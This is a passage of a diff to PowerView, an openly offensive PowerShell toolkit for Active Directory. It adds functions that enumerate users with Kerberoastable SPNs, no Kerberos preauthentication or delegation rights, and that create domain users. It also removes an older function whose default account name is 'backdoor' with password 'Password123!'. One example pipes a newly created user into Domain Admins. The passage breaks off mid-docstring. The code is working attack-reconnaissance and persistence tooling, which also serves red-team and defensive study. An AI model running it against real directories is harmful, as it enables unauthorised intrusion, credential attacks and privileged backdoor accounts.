+Useful for OU queries. + +.PARAMETER Server + +Specifies an Active Directory server (domain controller) to bind to. + +.PARAMETER SearchScope + +Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). + +.PARAMETER ResultPageSize + +Specifies the PageSize to set for the LDAP searcher object. - Return the current domain controllers for the active domain. +.PARAMETER ServerTimeLimit - .PARAMETER Domain +Specifies the maximum amount of time the server spends searching. Default of 120 seconds. - The domain to query for domain controllers, defaults to the current domain. +.PARAMETER Tombstone - .PARAMETER DomainController +Switch. Specifies that the searcher should also return deleted/tombstoned objects. - Domain controller to reflect LDAP queries through. +.PARAMETER Credential - .PARAMETER LDAP +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain. - Switch. Use LDAP queries to determine the domain controllers. +.EXAMPLE - .PARAMETER Credential +Find-DomainObjectPropertyOutlier -User - A [Management.Automation.PSCredential] object of alternate credentials - for connection to the target domain. +Enumerates users in the current domain with 'outlier' properties filled in. - .EXAMPLE +.EXAMPLE - PS C:\> Get-NetDomainController -Domain 'test.local' - - Determine the domain controllers for 'test.local'. +Find-DomainObjectPropertyOutlier -Group -Domain external.local - .EXAMPLE +Enumerates groups in the external.local forest/domain with 'outlier' properties filled in. - PS C:\> Get-NetDomainController -Domain 'test.local' -LDAP +.EXAMPLE - Determine the domain controllers for 'test.local' using LDAP queries. +Get-DomainComputer -FindOne | Find-DomainObjectPropertyOutlier - .EXAMPLE +Enumerates computers in the current domain with 'outlier' properties filled in. - PS C:\> 'test.local' | Get-NetDomainController +.OUTPUTS - Determine the domain controllers for 'test.local'. +PowerView.PropertyOutlier + +Custom PSObject with translated object property outliers. #> - [CmdletBinding()] - param( - [Parameter(ValueFromPipeline=$True)] + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType('PowerView.PropertyOutlier')] + [CmdletBinding(DefaultParameterSetName = 'ClassName')] + Param( + [Parameter(Position = 0, Mandatory = $True, ParameterSetName = 'ClassName')] + [Alias('Class')] + [ValidateSet('User', 'Group', 'Computer')] + [String] + $ClassName, + + [ValidateNotNullOrEmpty()] + [String[]] + $ReferencePropertySet, + + [Parameter(ValueFromPipeline = $True, Mandatory = $True, ParameterSetName = 'ReferenceObject')] + [PSCustomObject] + $ReferenceObject, + + [ValidateNotNullOrEmpty()] [String] $Domain, + [ValidateNotNullOrEmpty()] + [Alias('Filter')] [String] - $DomainController, + $LDAPFilter, + + [ValidateNotNullOrEmpty()] + [Alias('ADSPath')] + [String] + $SearchBase, + + [ValidateNotNullOrEmpty()] + [Alias('DomainController')] + [String] + $Server, + + [ValidateSet('Base', 'OneLevel', 'Subtree')] + [String] + $SearchScope = 'Subtree', + + [ValidateRange(1, 10000)] + [Int] + $ResultPageSize = 200, + + [ValidateRange(1, 10000)] + [Int] + $ServerTimeLimit, [Switch] - $LDAP, + $Tombstone, [Management.Automation.PSCredential] - $Credential + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty ) - if($LDAP -or $DomainController) { - # filter string to return all domain controllers - Get-NetComputer -Domain $Domain -DomainController $DomainController -Credential $Credential -FullData -Filter '(userAccountControl:1.2.840.113556.1.4.803:=8192)' + BEGIN { + $UserReferencePropertySet = @('admincount','accountexpires','badpasswordtime','badpwdcount','cn','codepage','countrycode','description', 'displayname','distinguishedname','dscorepropagationdata','givenname','instancetype','iscriticalsystemobject','lastlogoff','lastlogon','lastlogontimestamp','lockouttime','logoncount','memberof','msds-supportedencryptiontypes','name','objectcategory','objectclass','objectguid','objectsid','primarygroupid','pwdlastset','samaccountname','samaccounttype','sn','useraccountcontrol','userprincipalname','usnchanged','usncreated','whenchanged','whencreated') + + $GroupReferencePropertySet = @('admincount','cn','description','distinguishedname','dscorepropagationdata','grouptype','instancetype','iscriticalsystemobject','member','memberof','name','objectcategory','objectclass','objectguid','objectsid','samaccountname','samaccounttype','systemflags','usnchanged','usncreated','whenchanged','whencreated') + + $ComputerReferencePropertySet = @('accountexpires','badpasswordtime','badpwdcount','cn','codepage','countrycode','distinguishedname','dnshostname','dscorepropagationdata','instancetype','iscriticalsystemobject','lastlogoff','lastlogon','lastlogontimestamp','localpolicyflags','logoncount','msds-supportedencryptiontypes','name','objectcategory','objectclass','objectguid','objectsid','operatingsystem','operatingsystemservicepack','operatingsystemversion','primarygroupid','pwdlastset','samaccountname','samaccounttype','serviceprincipalname','useraccountcontrol','usnchanged','usncreated','whenchanged','whencreated') + + $SearcherArguments = @{} + if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain } + if ($PSBoundParameters['LDAPFilter']) { $SearcherArguments['LDAPFilter'] = $LDAPFilter } + if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase } + if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } + if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope } + if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize } + if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone } + if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } + + # Domain / Credential + if ($PSBoundParameters['Domain']) { + if ($PSBoundParameters['Credential']) { + $TargetForest = Get-Domain -Domain $Domain | Select-Object -ExpandProperty Forest | Select-Object -ExpandProperty Name + } + else { + $TargetForest = Get-Domain -Domain $Domain -Credential $Credential | Select-Object -ExpandProperty Forest | Select-Object -ExpandProperty Name + } + Write-Verbose "[Find-DomainObjectPropertyOutlier] Enumerated forest '$TargetForest' for target domain '$Domain'" + } + + $SchemaArguments = @{} + if ($PSBoundParameters['Credential']) { $SchemaArguments['Credential'] = $Credential } + if ($TargetForest) { + $SchemaArguments['Forest'] = $TargetForest + } } - else { - $FoundDomain = Get-NetDomain -Domain $Domain -Credential $Credential - if($FoundDomain) { - $Founddomain.DomainControllers + + PROCESS { + + if ($PSBoundParameters['ReferencePropertySet']) { + Write-Verbose "[Find-DomainObjectPropertyOutlier] Using specified -ReferencePropertySet" + $ReferenceObjectProperties = $ReferencePropertySet + } + elseif ($PSBoundParameters['ReferenceObject']) { + Write-Verbose "[Find-DomainObjectPropertyOutlier] Extracting property names from -ReferenceObject to use as the reference property set" + $ReferenceObjectProperties = Get-Member -InputObject $ReferenceObject -MemberType NoteProperty | Select-Object -Expand Name + $ReferenceObjectClass = $ReferenceObject.objectclass | Select-Object -Last 1 + Write-Verbose "[Find-DomainObjectPropertyOutlier] Caldulated ReferenceObjectClass : $ReferenceObjectClass" + } + else { + Write-Verbose "[Find-DomainObjectPropertyOutlier] Using the default reference property set for the object class '$ClassName'" + } + + if (($ClassName -eq 'User') -or ($ReferenceObjectClass -eq 'User')) { + $Objects = Get-DomainUser @SearcherArguments + $SchemaClass = Get-ForestSchemaClass @SchemaArguments -ClassName 'User' + $ReferenceObjectProperties = $UserReferencePropertySet + } + elseif (($ClassName -eq 'Group') -or ($ReferenceObjectClass -eq 'Group')) { + $Objects = Get-DomainGroup @SearcherArguments + $SchemaClass = Get-ForestSchemaClass @SchemaArguments -ClassName 'Group' + $ReferenceObjectProperties = $GroupReferencePropertySet + } + elseif (($ClassName -eq 'Computer') -or ($ReferenceObjectClass -eq 'Computer')) { + Write-Verbose "COMPUTER!" + $Objects = Get-DomainComputer @SearcherArguments + $SchemaClass = Get-ForestSchemaClass @SchemaArguments -ClassName 'Computer' + $ReferenceObjectProperties = $ComputerReferencePropertySet + } + else { + throw "[Find-DomainObjectPropertyOutlier] Invalid class: $ClassName" + } + + $SchemaProperties = $SchemaClass | Select-Object -ExpandProperty OptionalProperties | Select-Object -ExpandProperty name + $SchemaProperties += $SchemaClass | Select-Object -ExpandProperty MandatoryProperties | Select-Object -ExpandProperty name + + # find the schema properties that are NOT in the first returned reference property set + $NonstandardProperties = Compare-Object -ReferenceObject $ReferenceObjectProperties -DifferenceObject $SchemaProperties -PassThru + + ForEach ($Object in $Objects) { + $ObjectProperties = Get-Member -InputObject $Object -MemberType NoteProperty | Select-Object -Expand Name + ForEach($ObjectProperty in $ObjectProperties) { + if ($NonstandardProperties -Contains $ObjectProperty) { + $Out = New-Object PSObject + $Out | Add-Member Noteproperty 'SamAccountName' $Object.SamAccountName + $Out | Add-Member Noteproperty 'Property' $ObjectProperty + $Out | Add-Member Noteproperty 'Value' $Object.$ObjectProperty + $Out.PSObject.TypeNames.Insert(0, 'PowerView.PropertyOutlier') + $Out + } + } } } } @@ -2472,86 +4427,189 @@ filter Get-NetDomainController { # ######################################################## -function Get-NetUser { +function Get-DomainUser { <# - .SYNOPSIS +.SYNOPSIS - Query information for a given user or users in the domain - using ADSI and LDAP. Another -Domain can be specified to - query for users across a trust. - Replacement for "net users /domain" +Return all users or specific user objects in AD. - .PARAMETER UserName +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-DomainSearcher, Convert-ADName, Convert-LDAPProperty - Username filter string, wildcards accepted. +.DESCRIPTION - .PARAMETER Domain +Builds a directory searcher object using Get-DomainSearcher, builds a custom +LDAP filter based on targeting/filter parameters, and searches for all objects +matching the criteria. To only return specific properties, use +"-Properties samaccountname,usnchanged,...". By default, all user objects for +the current domain are returned. - The domain to query for users, defaults to the current domain. +.PARAMETER Identity - .PARAMETER DomainController +A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=local), +SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201). +Wildcards accepted. Also accepts DOMAIN\user format. - Domain controller to reflect LDAP queries through. +.PARAMETER SPN - .PARAMETER ADSpath +Switch. Only return user objects with non-null service principal names. - The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" - Useful for OU queries. +.PARAMETER AdminCount - .PARAMETER Filter +Switch. Return users with '(adminCount=1)' (meaning are/were privileged). - A customized ldap filter string to use, e.g. "(description=*admin*)" +.PARAMETER AllowDelegation - .PARAMETER AdminCount +Switch. Return user accounts that are not marked as 'sensitive and not allowed for delegation' - Switch. Return users with adminCount=1. +.PARAMETER DisallowDelegation - .PARAMETER SPN +Switch. Return user accounts that are marked as 'sensitive and not allowed for delegation' - Switch. Only return user objects with non-null service principal names. +.PARAMETER TrustedToAuth - .PARAMETER Unconstrained +Switch. Return computer objects that are trusted to authenticate for other principals. - Switch. Return users that have unconstrained delegation. +.PARAMETER PreauthNotRequired - .PARAMETER AllowDelegation +Switch. Return user accounts with "Do not require Kerberos preauthentication" set. - Switch. Return user accounts that are not marked as 'sensitive and not allowed for delegation' +.PARAMETER Domain - .PARAMETER PageSize +Specifies the domain to use for the query, defaults to the current domain. - The PageSize to set for the LDAP searcher object. +.PARAMETER LDAPFilter - .PARAMETER Credential +Specifies an LDAP query string that is used to filter Active Directory objects. - A [Management.Automation.PSCredential] object of alternate credentials - for connection to the target domain. +.PARAMETER Properties - .EXAMPLE +Specifies the properties of the output object to retrieve from the server. - PS C:\> Get-NetUser -Domain testing +.PARAMETER SearchBase - .EXAMPLE +The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" +Useful for OU queries. - PS C:\> Get-NetUser -ADSpath "LDAP://OU=secret,DC=testlab,DC=local" -#> +.PARAMETER Server - param( - [Parameter(Position=0, ValueFromPipeline=$True)] - [String] - $UserName, +Specifies an Active Directory server (domain controller) to bind to. - [String] - $Domain, +.PARAMETER SearchScope - [String] - $DomainController, +Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). - [String] - $ADSpath, +.PARAMETER ResultPageSize - [String] - $Filter, +Specifies the PageSize to set for the LDAP searcher object. + +.PARAMETER ServerTimeLimit + +Specifies the maximum amount of time the server spends searching. Default of 120 seconds. + +.PARAMETER SecurityMasks + +Specifies an option for examining security information of a directory object. +One of 'Dacl', 'Group', 'None', 'Owner', 'Sacl'. + +.PARAMETER Tombstone + +Switch. Specifies that the searcher should also return deleted/tombstoned objects. + +.PARAMETER FindOne + +Only return one result object. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain. + +.PARAMETER Raw + +Switch. Return raw results instead of translating the fields into a custom PSObject. + +.EXAMPLE + +Get-DomainUser -Domain testlab.local + +Return all users for the testlab.local domain + +.EXAMPLE + +Get-DomainUser "S-1-5-21-890171859-3433809279-3366196753-1108","administrator" + +Return the user with the given SID, as well as Administrator. + +.EXAMPLE + +'S-1-5-21-890171859-3433809279-3366196753-1114', 'CN=dfm,CN=Users,DC=testlab,DC=local','4c435dd7-dc58-4b14-9a5e-1fdb0e80d201','administrator' | Get-DomainUser -Properties samaccountname,lastlogoff + +lastlogoff samaccountname +---------- -------------- +12/31/1600 4:00:00 PM dfm.a +12/31/1600 4:00:00 PM dfm +12/31/1600 4:00:00 PM harmj0y +12/31/1600 4:00:00 PM Administrator + +.EXAMPLE + +Get-DomainUser -SearchBase "LDAP://OU=secret,DC=testlab,DC=local" -AdminCount -AllowDelegation + +Search the specified OU for privileged user (AdminCount = 1) that allow delegation + +.EXAMPLE + +Get-DomainUser -LDAPFilter '(!primarygroupid=513)' -Properties samaccountname,lastlogon + +Search for users with a primary group ID other than 513 ('domain users') and only return samaccountname and lastlogon + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-DomainUser -Credential $Cred + +.EXAMPLE + +Get-Domain | Select-Object -Expand name +testlab.local + +Get-DomainUser dev\user1 -Verbose -Properties distinguishedname +VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local +VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=dev,DC=testlab,DC=local +VERBOSE: [Get-DomainUser] filter string: (&(samAccountType=805306368)(|(samAccountName=user1))) + +distinguishedname +----------------- +CN=user1,CN=Users,DC=dev,DC=testlab,DC=local + +.INPUTS + +String + +.OUTPUTS + +PowerView.User + +Custom PSObject with translated user property fields. + +PowerView.User.Raw + +The raw DirectoryServices.SearchResult object, if -Raw is enabled. +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseDeclaredVarsMoreThanAssignments', '')] + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType('PowerView.User')] + [OutputType('PowerView.User.Raw')] + [CmdletBinding(DefaultParameterSetName = 'AllowDelegation')] + Param( + [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('DistinguishedName', 'SamAccountName', 'Name', 'MemberDistinguishedName', 'MemberName')] + [String[]] + $Identity, [Switch] $SPN, @@ -2559,2450 +4617,3638 @@ function Get-NetUser { [Switch] $AdminCount, + [Parameter(ParameterSetName = 'AllowDelegation')] [Switch] - $Unconstrained, + $AllowDelegation, + [Parameter(ParameterSetName = 'DisallowDelegation')] [Switch] - $AllowDelegation, + $DisallowDelegation, - [ValidateRange(1,10000)] + [Switch] + $TrustedToAuth, + + [Alias('KerberosPreauthNotRequired', 'NoPreauth')] + [Switch] + $PreauthNotRequired, + + [ValidateNotNullOrEmpty()] + [String] + $Domain, + + [ValidateNotNullOrEmpty()] + [Alias('Filter')] + [String] + $LDAPFilter, + + [ValidateNotNullOrEmpty()] + [String[]] + $Properties, + + [ValidateNotNullOrEmpty()] + [Alias('ADSPath')] + [String] + $SearchBase, + + [ValidateNotNullOrEmpty()] + [Alias('DomainController')] + [String] + $Server, + + [ValidateSet('Base', 'OneLevel', 'Subtree')] + [String] + $SearchScope = 'Subtree', + + [ValidateRange(1, 10000)] + [Int] + $ResultPageSize = 200, + + [ValidateRange(1, 10000)] [Int] - $PageSize = 200, + $ServerTimeLimit, + + [ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')] + [String] + $SecurityMasks, + + [Switch] + $Tombstone, + + [Alias('ReturnOne')] + [Switch] + $FindOne, [Management.Automation.PSCredential] - $Credential + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty, + + [Switch] + $Raw ) - begin { - # so this isn't repeated if users are passed on the pipeline - $UserSearcher = Get-DomainSearcher -Domain $Domain -ADSpath $ADSpath -DomainController $DomainController -PageSize $PageSize -Credential $Credential + BEGIN { + $SearcherArguments = @{} + if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain } + if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] = $Properties } + if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase } + if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } + if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope } + if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize } + if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['SecurityMasks']) { $SearcherArguments['SecurityMasks'] = $SecurityMasks } + if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone } + if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } + $UserSearcher = Get-DomainSearcher @SearcherArguments } - process { - if($UserSearcher) { + PROCESS { + if ($UserSearcher) { + $IdentityFilter = '' + $Filter = '' + $Identity | Where-Object {$_} | ForEach-Object { + $IdentityInstance = $_.Replace('(', '\28').Replace(')', '\29') + if ($IdentityInstance -match '^S-1-') { + $IdentityFilter += "(objectsid=$IdentityInstance)" + } + elseif ($IdentityInstance -match '^CN=') { + $IdentityFilter += "(distinguishedname=$IdentityInstance)" + } + elseif ($IdentityInstance -imatch '^[0-9A-F]{8}-([0-9A-F]{4}-){3}[0-9A-F]{12}$') { + $GuidByteString = (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object { '\' + $_.ToString('X2') }) -join '' + $IdentityFilter += "(objectguid=$GuidByteString)" + } + elseif ($IdentityInstance.Contains('\')) { + $ConvertedIdentityInstance = $IdentityInstance.Replace('\28', '(').Replace('\29', ')') | Convert-ADName -OutputType Canonical + if ($ConvertedIdentityInstance) { + $UserDomain = $ConvertedIdentityInstance.SubString(0, $ConvertedIdentityInstance.IndexOf('/')) + $UserName = $IdentityInstance.Split('\')[1] + $IdentityFilter += "(samAccountName=$UserName)" + $SearcherArguments['Domain'] = $UserDomain + Write-Verbose "[Get-DomainUser] Extracted domain '$UserDomain' from '$IdentityInstance'" + $UserSearcher = Get-DomainSearcher @SearcherArguments + } + } + else { + $IdentityFilter += "(samAccountName=$IdentityInstance)" + } + } + + if ($IdentityFilter -and ($IdentityFilter.Trim() -ne '') ) { + $Filter += "(|$IdentityFilter)" + } - # if we're checking for unconstrained delegation - if($Unconstrained) { - Write-Verbose "Checking for unconstrained delegation" - $Filter += "(userAccountControl:1.2.840.113556.1.4.803:=524288)" + if ($PSBoundParameters['SPN']) { + Write-Verbose '[Get-DomainUser] Searching for non-null service principal names' + $Filter += '(servicePrincipalName=*)' } - if($AllowDelegation) { - Write-Verbose "Checking for users who can be delegated" + if ($PSBoundParameters['AllowDelegation']) { + Write-Verbose '[Get-DomainUser] Searching for users who can be delegated' # negation of "Accounts that are sensitive and not trusted for delegation" - $Filter += "(!(userAccountControl:1.2.840.113556.1.4.803:=1048574))" + $Filter += '(!(userAccountControl:1.2.840.113556.1.4.803:=1048574))' } - if($AdminCount) { - Write-Verbose "Checking for adminCount=1" - $Filter += "(admincount=1)" + if ($PSBoundParameters['DisallowDelegation']) { + Write-Verbose '[Get-DomainUser] Searching for users who are sensitive and not trusted for delegation' + $Filter += '(userAccountControl:1.2.840.113556.1.4.803:=1048574)' } - - # check if we're using a username filter or not - if($UserName) { - # samAccountType=805306368 indicates user objects - $UserSearcher.filter="(&(samAccountType=805306368)(samAccountName=$UserName)$Filter)" + if ($PSBoundParameters['AdminCount']) { + Write-Verbose '[Get-DomainUser] Searching for adminCount=1' + $Filter += '(admincount=1)' } - elseif($SPN) { - $UserSearcher.filter="(&(samAccountType=805306368)(servicePrincipalName=*)$Filter)" + if ($PSBoundParameters['TrustedToAuth']) { + Write-Verbose '[Get-DomainUser] Searching for users that are trusted to authenticate for other principals' + $Filter += '(msds-allowedtodelegateto=*)' } - else { - # filter is something like "(samAccountName=*blah*)" if specified - $UserSearcher.filter="(&(samAccountType=805306368)$Filter)" + if ($PSBoundParameters['PreauthNotRequired']) { + Write-Verbose '[Get-DomainUser] Searching for user accounts that do not require kerberos preauthenticate' + $Filter += '(userAccountControl:1.2.840.113556.1.4.803:=4194304)' } + if ($PSBoundParameters['LDAPFilter']) { + Write-Verbose "[Get-DomainUser] Using additional LDAP filter: $LDAPFilter" + $Filter += "$LDAPFilter" + } + + $UserSearcher.filter = "(&(samAccountType=805306368)$Filter)" + Write-Verbose "[Get-DomainUser] filter string: $($UserSearcher.filter)" - $Results = $UserSearcher.FindAll() + if ($PSBoundParameters['FindOne']) { $Results = $UserSearcher.FindOne() } + else { $Results = $UserSearcher.FindAll() } $Results | Where-Object {$_} | ForEach-Object { - # convert/process the LDAP fields for each result - $User = Convert-LDAPProperty -Properties $_.Properties - $User.PSObject.TypeNames.Add('PowerView.User') + if ($PSBoundParameters['Raw']) { + # return raw result objects + $User = $_ + $User.PSObject.TypeNames.Insert(0, 'PowerView.User.Raw') + } + else { + $User = Convert-LDAPProperty -Properties $_.Properties + $User.PSObject.TypeNames.Insert(0, 'PowerView.User') + } $User } - $Results.dispose() + if ($Results) { + try { $Results.dispose() } + catch { + Write-Verbose "[Get-DomainUser] Error disposing of the Results object: $_" + } + } $UserSearcher.dispose() } } } -function Add-NetUser { +function New-DomainUser { <# - .SYNOPSIS +.SYNOPSIS + +Creates a new domain user (assuming appropriate permissions) and returns the user object. + +TODO: implement all properties that New-ADUser implements (https://technet.microsoft.com/en-us/library/ee617253.aspx). + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-PrincipalContext + +.DESCRIPTION - Adds a domain user or a local user to the current (or remote) machine, - if permissions allow, utilizing the WinNT service provider and - DirectoryServices.AccountManagement, respectively. - - The default behavior is to add a user to the local machine. - An optional group name to add the user to can be specified. +First binds to the specified domain context using Get-PrincipalContext. +The bound domain context is then used to create a new +DirectoryServices.AccountManagement.UserPrincipal with the specified user properties. - .PARAMETER UserName +.PARAMETER SamAccountName - The username to add. If not given, it defaults to 'backdoor' +Specifies the Security Account Manager (SAM) account name of the user to create. +Maximum of 256 characters. Mandatory. - .PARAMETER Password +.PARAMETER AccountPassword - The password to set for the added user. If not given, it defaults to 'Password123!' +Specifies the password for the created user. Mandatory. - .PARAMETER GroupName +.PARAMETER Name - Group to optionally add the user to. +Specifies the name of the user to create. If not provided, defaults to SamAccountName. - .PARAMETER ComputerName +.PARAMETER DisplayName - Hostname to add the local user to, defaults to 'localhost' +Specifies the display name of the user to create. If not provided, defaults to SamAccountName. - .PARAMETER Domain +.PARAMETER Description - Specified domain to add the user to. +Specifies the description of the user to create. - .EXAMPLE +.PARAMETER Domain - PS C:\> Add-NetUser -UserName john -Password 'Password123!' - - Adds a localuser 'john' to the local machine with password of 'Password123!' +Specifies the domain to use to search for user/group principals, defaults to the current domain. - .EXAMPLE +.PARAMETER Credential - PS C:\> Add-NetUser -UserName john -Password 'Password123!' -ComputerName server.testlab.local - - Adds a localuser 'john' with password of 'Password123!' to server.testlab.local's local Administrators group. +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain. - .EXAMPLE +.EXAMPLE - PS C:\> Add-NetUser -UserName john -Password password -GroupName "Domain Admins" -Domain '' - - Adds the user "john" with password "password" to the current domain and adds - the user to the domain group "Domain Admins" +$UserPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +New-DomainUser -SamAccountName harmj0y2 -Description 'This is harmj0y' -AccountPassword $UserPassword - .EXAMPLE +Creates the 'harmj0y2' user with the specified description and password. - PS C:\> Add-NetUser -UserName john -Password password -GroupName "Domain Admins" -Domain 'testing' - - Adds the user "john" with password "password" to the 'testing' domain and adds - the user to the domain group "Domain Admins" +.EXAMPLE - .Link +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +$UserPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$user = New-DomainUser -SamAccountName harmj0y2 -Description 'This is harmj0y' -AccountPassword $UserPassword -Credential $Cred - http://blogs.technet.com/b/heyscriptingguy/archive/2010/11/23/use-powershell-to-create-local-user-accounts.aspx +Creates the 'harmj0y2' user with the specified description and password, using the specified +alternate credentials. + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +$UserPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +New-DomainUser -SamAccountName andy -AccountPassword $UserPassword -Credential $Cred | Add-DomainGroupMember 'Domain Admins' -Credential $Cred + +Creates the 'andy' user with the specified description and password, using the specified +alternate credentials, and adds the user to 'domain admins' using Add-DomainGroupMember +and the alternate credentials. + +.OUTPUTS + +DirectoryServices.AccountManagement.UserPrincipal + +.LINK + +http://richardspowershellblog.wordpress.com/2008/05/25/system-directoryservices-accountmanagement/ #> - [CmdletBinding()] - Param ( - [ValidateNotNullOrEmpty()] + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseShouldProcessForStateChangingFunctions', '')] + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType('DirectoryServices.AccountManagement.UserPrincipal')] + Param( + [Parameter(Mandatory = $True)] + [ValidateLength(0, 256)] [String] - $UserName = 'backdoor', + $SamAccountName, + [Parameter(Mandatory = $True)] [ValidateNotNullOrEmpty()] - [String] - $Password = 'Password123!', + [Alias('Password')] + [Security.SecureString] + $AccountPassword, [ValidateNotNullOrEmpty()] [String] - $GroupName, + $Name, [ValidateNotNullOrEmpty()] - [Alias('HostName')] [String] - $ComputerName = 'localhost', + $DisplayName, [ValidateNotNullOrEmpty()] [String] - $Domain - ) + $Description, - if ($Domain) { - - $DomainObject = Get-NetDomain -Domain $Domain - if(-not $DomainObject) { - Write-Warning "Error in grabbing $Domain object" - return $Null - } + [ValidateNotNullOrEmpty()] + [String] + $Domain, - # add the assembly we need - Add-Type -AssemblyName System.DirectoryServices.AccountManagement + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty + ) - # http://richardspowershellblog.wordpress.com/2008/05/25/system-directoryservices-accountmanagement/ - # get the domain context - $Context = New-Object -TypeName System.DirectoryServices.AccountManagement.PrincipalContext -ArgumentList ([System.DirectoryServices.AccountManagement.ContextType]::Domain), $DomainObject + $ContextArguments = @{ + 'Identity' = $SamAccountName + } + if ($PSBoundParameters['Domain']) { $ContextArguments['Domain'] = $Domain } + if ($PSBoundParameters['Credential']) { $ContextArguments['Credential'] = $Credential } + $Context = Get-PrincipalContext @ContextArguments - # create the user object - $User = New-Object -TypeName System.DirectoryServices.AccountManagement.UserPrincipal -ArgumentList $Context + if ($Context) { + $User = New-Object -TypeName System.DirectoryServices.AccountManagement.UserPrincipal -ArgumentList ($Context.Context) - # set user properties - $User.Name = $UserName - $User.SamAccountName = $UserName - $User.PasswordNotRequired = $False - $User.SetPassword($Password) + # set all the appropriate user parameters + $User.SamAccountName = $Context.Identity + $TempCred = New-Object System.Management.Automation.PSCredential('a', $AccountPassword) + $User.SetPassword($TempCred.GetNetworkCredential().Password) $User.Enabled = $True + $User.PasswordNotRequired = $False - Write-Verbose "Creating user $UserName to with password '$Password' in domain $Domain" - - try { - # commit the user - $User.Save() - "[*] User $UserName successfully created in domain $Domain" + if ($PSBoundParameters['Name']) { + $User.Name = $Name } - catch { - Write-Warning '[!] User already exists!' - return + else { + $User.Name = $Context.Identity + } + if ($PSBoundParameters['DisplayName']) { + $User.DisplayName = $DisplayName + } + else { + $User.DisplayName = $Context.Identity } - } - else { - - Write-Verbose "Creating user $UserName to with password '$Password' on $ComputerName" - # if it's not a domain add, it's a local machine add - $ObjOu = [ADSI]"WinNT://$ComputerName" - $ObjUser = $ObjOu.Create('User', $UserName) - $ObjUser.SetPassword($Password) + if ($PSBoundParameters['Description']) { + $User.Description = $Description + } - # commit the changes to the local machine + Write-Verbose "[New-DomainUser] Attempting to create user '$SamAccountName'" try { - $Null = $ObjUser.SetInfo() - "[*] User $UserName successfully created on host $ComputerName" + $Null = $User.Save() + Write-Verbose "[New-DomainUser] User '$SamAccountName' successfully created" + $User } catch { - Write-Warning '[!] Account already exists!' - return - } - } - - # if a group is specified, invoke Add-NetGroupUser and return its value - if ($GroupName) { - # if we're adding the user to a domain - if ($Domain) { - Add-NetGroupUser -UserName $UserName -GroupName $GroupName -Domain $Domain - "[*] User $UserName successfully added to group $GroupName in domain $Domain" - } - # otherwise, we're adding to a local group - else { - Add-NetGroupUser -UserName $UserName -GroupName $GroupName -ComputerName $ComputerName - "[*] User $UserName successfully added to group $GroupName on host $ComputerName" + Write-Warning "[New-DomainUser] Error creating user '$SamAccountName' : $_" } } } -function Add-NetGroupUser { +function Set-DomainUserPassword { <# - .SYNOPSIS +.SYNOPSIS + +Sets the password for a given user identity. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-PrincipalContext + +.DESCRIPTION + +First binds to the specified domain context using 